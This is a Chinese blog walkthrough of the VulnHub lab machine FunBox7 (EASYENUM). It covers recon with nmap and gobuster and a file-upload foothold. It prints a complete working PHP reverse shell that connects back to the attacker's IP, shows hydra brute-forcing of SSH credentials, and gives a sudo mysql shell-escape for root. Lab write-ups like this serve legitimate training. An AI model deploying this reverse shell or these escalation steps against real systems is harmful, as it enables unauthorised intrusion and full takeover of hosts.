看完这篇 教你玩转渗透测试靶机vulnhub——FunBox7( EASYENUM)

2023-11-06

Vulnhub靶机介绍:

vulnhub是个提供各种漏洞平台的综合靶场,可供下载多种虚拟机进行下载,本地VM打开即可,像做游戏一样去完成渗透测试、提权、漏洞利用、代码审计等等有趣的实战。

老样子需要找到flag即可。

Vulnhub靶机下载:

https://download.vulnhub.com/funbox/Funbox7.ova

Vulnhub靶机安装:

下载好了把安装包解压 然后导入Oracle VM打开即可。
在这里插入图片描述
在这里插入图片描述

Vulnhub靶机漏洞详解:

①:信息收集:

kali里使用netdiscover发现主机
在这里插入图片描述
渗透机:kali IP :172.16.5.117 靶机IP :172.16.5.112

ping的通 环境搭建成功!!

在这里插入图片描述
在这里插入图片描述
通过nmap 扫描发现开启了2280端口 简单的扫一下 dirsearch -u url 访问robots.txt 并没有可以利用的信息

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
再次进行扫描 使用gobuster 访问mini.php 发现是有文件上传漏洞!!

gobuster dir -u http://172.16.5.112/ -x html,zip,bak,txt,php --wordlist=/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 100 -e

在这里插入图片描述

②:文件上传GetShell:

在这里插入图片描述

可以通过修改 mini.php 然后nc getshell 使用Python 进行交互:python3 -c 'import pty; pty.spawn("/bin/bash")'

<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = '172.16.5.117';  // CHANGE THIS
$port = 6666;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

//
// Daemonise ourself if possible to avoid zombies later
//

// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies.  Worth a try...
if (function_exists('pcntl_fork')) {
	// Fork and have the parent process exit
	$pid = pcntl_fork();
	
	if ($pid == -1) {
		printit("ERROR: Can't fork");
		exit(1);
	}
	
	if ($pid) {
		exit(0);  // Parent exits
	}

	// Make the current process a session leader
	// Will only succeed if we forked
	if (posix_setsid() == -1) {
		printit("Error: Can't setsid()");
		exit(1);
	}

	$daemon = 1;
} else {
	printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

// Change to a safe directory
chdir("/");

// Remove any umask we inherited
umask(0);

//
// Do the reverse shell...
//

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}

// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}

// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
	// Check for end of TCP connection
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}

	// Check for end of STDOUT
	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}

	// Wait until a command is end down $sock, or some
	// command output is available on STDOUT or STDERR
	$read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

	// If we can read from the TCP socket, send
	// data to process's STDIN
	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}

	// If we can read from the process's STDOUT
	// send data down tcp connection
	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);
	}

	// If we can read from the process's STDERR
	// send data down tcp connection
	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);
	}
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
	if (!$daemon) {
		print "$string\n";
	}
}

?> 

在这里插入图片描述

③:sudo -mysql 提权:

使用 find / -perm -u=s -type f 2>/dev/null 可以使用sudo -l 查看一下 发现需要root密码

在这里插入图片描述
进入家目录 发现有五个用户 直接尝试暴力破解吧 使用 hydra 一个一个试 最后爆破得到:goat/thebest

在这里插入图片描述
在这里插入图片描述

然后使用 SSH 登入 :ssh goat@172.16.5.112

sudo -l 发现 是mysql 提权网站 查询一下:https://gtfobins.github.io

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

sudo mysql -e '\! /bin/sh'

在这里插入图片描述

④:获取flag:

在这里插入图片描述
至此获取到了所有得flag,渗透测试结束。

Vulnhub靶机渗透总结:

FunBox系列第七个靶机了 这个靶机比较简单
1.信息收集 获取ip地址 和端口信息 进行扫描 dirsearchgobuster工具的使用
2.网站渗透 发现文件上传漏洞,上传木马 运行木马 nc 进行回弹 获取shell
3.最后是mysql 提权 的学习 和sudo 提权一样

因为最近刮台风 所以只能在家里面更新啦 这是这个系列第七个靶机啦 后续会把这个系列更新完!

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

看完这篇 教你玩转渗透测试靶机vulnhub——FunBox7( EASYENUM) 的相关文章

  • ctfshow-萌新-web1( 利用intval函数的特性获取敏感数据)

    ctf show 萌新模块的web1关 这一关考察的是intval 函数转换字符串时的特性以及SQL的拼接绕过 这一关直接就给了源码 并提示我们 id 1000 时 就是flag 先分析一下源码 首先是 intval 函数将参数id转换为数
  • 记录渗透靶场实战【网络安全】

    第一次写靶场实战的文章 有不足之处还请多多指教 本次实战的靶场是红日安全vulnstack系列的第二个靶场 靶场地址 http vulnstack qiyuanxuetang net vuln detail 3 环境搭建 网络环境 网卡配置
  • 渗透测试工具之Layer子域名挖掘机

    目录 前言 1 Layer介绍 2 子域名介绍 3 挖掘子域名的作用 4 下载地址 5 工具使用 前言 每篇一句话 困难像弹簧 你强它就弱 你弱它就强 这里是小葵花的学习之路 博客主页 小葵花学堂 文章为个人笔记 若其中如有内容不规范或讲解
  • 跨站脚本攻击(XSS) 漏洞原理及防御方法

    注 转载请注明出自 https blog csdn net qq 36711453 article details 83745195 XSS跨站脚本攻击 两种情况 一种通过外部输入然后直接在浏览器端触发 即反射型XSS 还有一种则是先把利用
  • ctfshow-WEB-web14( 利用数据库读写功能读取网站敏感文件)

    ctf show WEB模块第14关是一个SQL注入漏洞 绕过switch循环后可以拿到一个登录界面 登录界面存在SQL注入 脱库以后会提示flag在另一个文件中 利用数据库的文件读写功能读取文件内容即可拿到flag 开局是一个switch
  • ctfshow-网络迷踪-新手上路 ( 使用百度搜图收集景点信息)

    ctf show 网络迷踪模块第1关 只有一座桥的图片 拿到桥的名字即可 推荐使用百度搜图 先把图片下载到本地 使用百度搜图收集图片中的景点信息 根据搜图的结果可以发现 图片的来源均指向同一个地方 三亚蜈支洲岛 接下来 百度搜索 三亚蜈支洲
  • 看完这篇 教你玩转渗透测试靶机vulnhub——FunBox1

    Vulnhub靶机FunBox1渗透测试详解 Vulnhub靶机介绍 Vulnhub靶机下载 Vulnhub靶机安装 Vulnhub靶机漏洞详解 信息收集 暴力破解 ssh登入 提权 获取flag Vulnhub靶机渗透总结 Vulnhub
  • 渗透测试信息收集

    信息收集 渗透的本质是信息收集 信息收集分为主动信息收集和被动信息收集 主动信息收集能够收集到更多的信息 但是会产生痕迹 容易被溯源 被动信息收集是信息收集的第一步 通过第三方工具进行收集 不与主机直接交互 需要收集的信息包括 域名 子域名
  • sqlmap详细使用介绍

    SQLmap介绍 sqlmap是一个自动化的SQL注入工具 其主要功能是扫描 发现并利用给定的URL进行SQL注入 目前支持的数据库有MySql Oracle Access PostageSQL SQL Server IBM DB2 SQL
  • 渗透漏洞 Bugku CTF-Web5

    Bugku CTF Web5 一 开启环境 点击链接 二 查看源代码 发现PHP弱类型 三 构造出 payload 提交获得 flag 一 开启环境 点击链接 二 查看源代码 发现PHP弱类型 1 PHP 比较 2 个值是否相等可以用 或
  • 渗透测试工程师面试题大全(二)

    渗透测试工程师面试题大全 二 from backlion大佬 整理 51 sql 注入写文件都有哪些函数 1 select 一句话 into outfile 路径 2 select 一句话 into dumpfile 路径 3 select
  • Burpsuite Professional 2023.6.2 最新版安装教程

    更新时间 2023年07月23日11 47 48 本文以mac为例 Windows上方法是类似的 1 缘由 因为我用的Burpsuite版本有点老 导致有时候给人培训的时候 面对新版Burpsuite一脸懵逼 很多操作都不太一样 所以这次直
  • 渗透Metasploitable主机

    攻击机 kali 靶机 Metasploitable2 一个特制的ubuntu操作系统 设计初衷作为安全工具测试和演示常见漏洞攻击的环境 默认开放高危端口如21 22 23 445 6000等等 而且具有很多未打补丁的高危漏洞 Metasp
  • Fiddler 微信小程序抓图教程(非常详细)从零基础入门到精通,看完这一篇就够了

    前言 本篇文章主要给大家详细讲解如何用Fiddler爬取微信小程序的图片 内容图文并茂 流程非常简单 我们开始吧 目录 一 获取软件并打开 二 点击工具设置相关代理 三 如何抓图 四 答疑 五 总结 一 获取软件并打开 1 通过百度网盘下载
  • CVE-2018-2894WebLogic未授权任意文件上传

    CVE 2018 2894WebLogic未授权任意文件上传 这个洞的限制就比较多了 限制版本 Oracle WebLogic Server版本 10 3 6 0 12 1 3 0 12 2 1 2 12 2 1 3 限制配置 该漏洞的影响
  • Apache RocketMQ 远程代码执行漏洞(CVE-2023-33246)

    漏洞简介 RocketMQ 5 1 0及以下版本 在一定条件下 存在远程命令执行风险 RocketMQ的NameServer Broker Controller等多个组件外网泄露 缺乏权限验证 攻击者可以利用该漏洞利用更新配置功能以Rock
  • ATT&CK红队评估实战靶场-1(全网最细)

    声明 该系列文章首发于公众号 Y1X1n安全 转载请注明出处 本公众号所分享内容仅用于网安爱好者之间的技术讨论 所有渗透及工具的使用都需获取授权 禁止用于违法途径 否则需自行承担 本公众号及作者不承担相应的后果 ATT CK红队评估实战靶场
  • 运维人员必须知道的10个系统进程

    前言 在日常运维工作中 经常会看到一些奇怪的系统进程占用资源比较高 但是又不敢随意的Kill这些进程 而这些系统级的内核进程都是会用中括号括起来的 它们会执行一些系统的辅助功能 如将缓存写入磁盘 无括号的进程都是用户们执行的进程 如java
  • 运维人员必须知道的10个系统进程

    前言 在日常运维工作中 经常会看到一些奇怪的系统进程占用资源比较高 但是又不敢随意的Kill这些进程 而这些系统级的内核进程都是会用中括号括起来的 它们会执行一些系统的辅助功能 如将缓存写入磁盘 无括号的进程都是用户们执行的进程 如java
  • Gobuster工具详解

    目录 Gobuster工具介绍 主要特性 支持模式及全局参数列举 安装 使用 Dir模式 DNS模式 Vhost模式 fuzz模式 TFTP模式 S3 gcs模式 字典 docker运行gobuster Gobuster工具介绍 Gobus

随机推荐

  • 对随机变量的简单理解

    首先看下官方定义 随机变量是从样本空间投影到实数轴的一个广义的实值函数 对任意一个样本点w 存在唯一的实数X w 与之对应 我画了下图来解释这个定义 当我们需要研究事件发生的概率时 引入随机变量后 对事件概率的研究不再是重点 而是转化为对随
  • 变量名中的反义词

    add remove begin end create destroy insert delete first last get release increment decrement put get up down lock unlock
  • MySql.Data连接数据库mysql

    using MySql Data MySqlClient using MySql Data using System Data using System IO MySqlConnection con new MySqlConnection
  • SVN版本库的分支和Tag

    SVN的branch和tag管理都是通过copy实现的 它并没有独立的branche和tag概念 它仅仅是管理文件的历史 trunk branch tag对于SVN而言都是普通的文件夹 创建分支的svn命令 svn copy http sv
  • python中的linearregression_Python 线性回归(Linear Regression) - 到底什么是 regression?...

    背景 这个 linear Regression 中的 Regression 是什么意思 字面上 Regression 是衰退的意思 线性衰退 相信理解了这个词 对线性回归可能印象深刻些 Regression 到底是什么意思 搜了一番 原来是
  • mongodb的时间差 8小时

    存储在mongodb中的时间是标准时间UTC 0 00 而中国的时区是 8 00 所以实际的显示时间是加了八小时的 取出时间时 需要减去八小时
  • Android 内存泄露分析

    1 内存泄漏简介 内存泄漏是指内存空间使用完毕后无法被释放的现象 尽管Java有垃圾回收机制 GC 但是对于还保持着引用 逻辑上却已经不会再用到的对象 垃圾回收器不会回收它们 内存泄漏带来的危害 用户对单次的内存泄漏并没有什么感知 但当可用
  • 智能优化算法-战争策略算法War Strategy Optimization Algorithm(附Matlab代码)

    引言 战争策略算法War Strategy Optimization Algorithm是基于军队在战争中的战略运动 将战争策略建模为一个优化过程 每个士兵都动态地向最优值移动 该算法对两种流行的战争策略 进攻和防御策略进行建模 士兵在战场
  • VBA技术资料MF54:VBA_EXCEL实时获取鼠标位置

    分享成果 随喜正能量 若人散乱心 乃至以一花 供养于画像 渐见无数佛 所以发一幅释迦牟尼佛像 与同修善友一起每日在微博上供养 只要有供养之心 便可积累功德 以此回向 愿求者如愿苦者得乐 愿这世界吉祥安乐 愿每颗心充满善念 我给VBA的定义
  • 0.96寸OLED12864显示屏设计方案(原理图+PCB+BOM表+程序)

    一 简介 OLED 屏幕作为一种新型的显示技术 其自身可以发光 亮度 对比度高 功耗低 在当下备受追捧 而在我们正常的显示调整参数过程中 我们越来越多的使用这种屏幕 我们使用的一般是分辨率为 128 64 屏幕尺寸为 0 96 寸 由于其较
  • Python包中__init__.py文件的作用和用法

    在Python工程中 我们经常可以看到带有 init py 文件的目录 在PyCharm中 带有这个文件的目录被认为是Python的包目录 与目录的图标有不一样的显示 如下图所示 链接 dir example是一个空白目录 图标是个文件夹图
  • R.I.P,又一位程序员巨佬——左耳朵耗子陨落

    震惊 谣言吧 求辟谣 默哀 左耳朵耗子 在程序员这个群体里应该属于 GOAT 的存在了 虽然每个人心目中都有自己的 GOAT 但耗子叔的影响力可以说是有目共睹 我也是在技术群刷到这张图片的 相信大多数小伙伴和我一样 震惊 谣言吧 求辟谣 默
  • 用C#语言泛化单件模式

    用C 语言泛化单件模式 本人对于C 只能算是初学者 写此随笔 也只为和大家一起讨论 共同进步 我看到过一些用C 语言泛化单件 Singleton 的文章和代码 里面有个问题 即用new来创建对象 比如类似下面这段代码 if instance
  • 串口接受时有关接受标志位详解

    首先我们来看一下MDK对各位的描述 可以发现0 13位接受的是数据个数 填满相当于十进制的8191 那么既然0 13位数据量这么大 代码是如何实现对14 15位的修改呢 废话不多说 先上实现代码 原子哥编写 void USART1 IRQH
  • 简单的redis集群

    条件 3台主机 也可以1台3实例 redis大版本 5 3 4不太一样 下载安装 提前装好gcc wget http download redis io releases redis 5 0 3 tar gz tar redis 5 0 3
  • Linux 多进程模块化设计 - 主进程守护子进程

    Linux 多进程模块化设计 主进程守护子进程 1 Linux多进程 2 示例 3 总结 1 Linux多进程 fork pid t fork void 复制调用进程 并创建为子进程 wait pid t wait int status 等
  • Java压缩工具(zip)

    压缩包使用说明 public class ZipFileUtils web下载打成压缩包的文件 流方式 param response 响应 param fileList 文件列表 param zipName 压缩包名 public stat
  • python 常用函数和自定义函数整理

    以下函数主要用于记录和保存 方便自己查阅 持续更新 1 3D 图像处理 def numpy2sitk arr sitk ori img numpy转换为sitk sitk img sitk GetImageFromArray arr sit
  • 【MES】MES能为制造企业做什么,解决什么问题?

    导 读 文 e works整理
  • 看完这篇 教你玩转渗透测试靶机vulnhub——FunBox7( EASYENUM)

    Vulnhub靶机FunBox7 EASYENUM 渗透测试详解 Vulnhub靶机介绍 Vulnhub靶机下载 Vulnhub靶机安装 Vulnhub靶机漏洞详解 信息收集 文件上传GetShell sudo mysql 提权 获取fla
Powered by Hwhale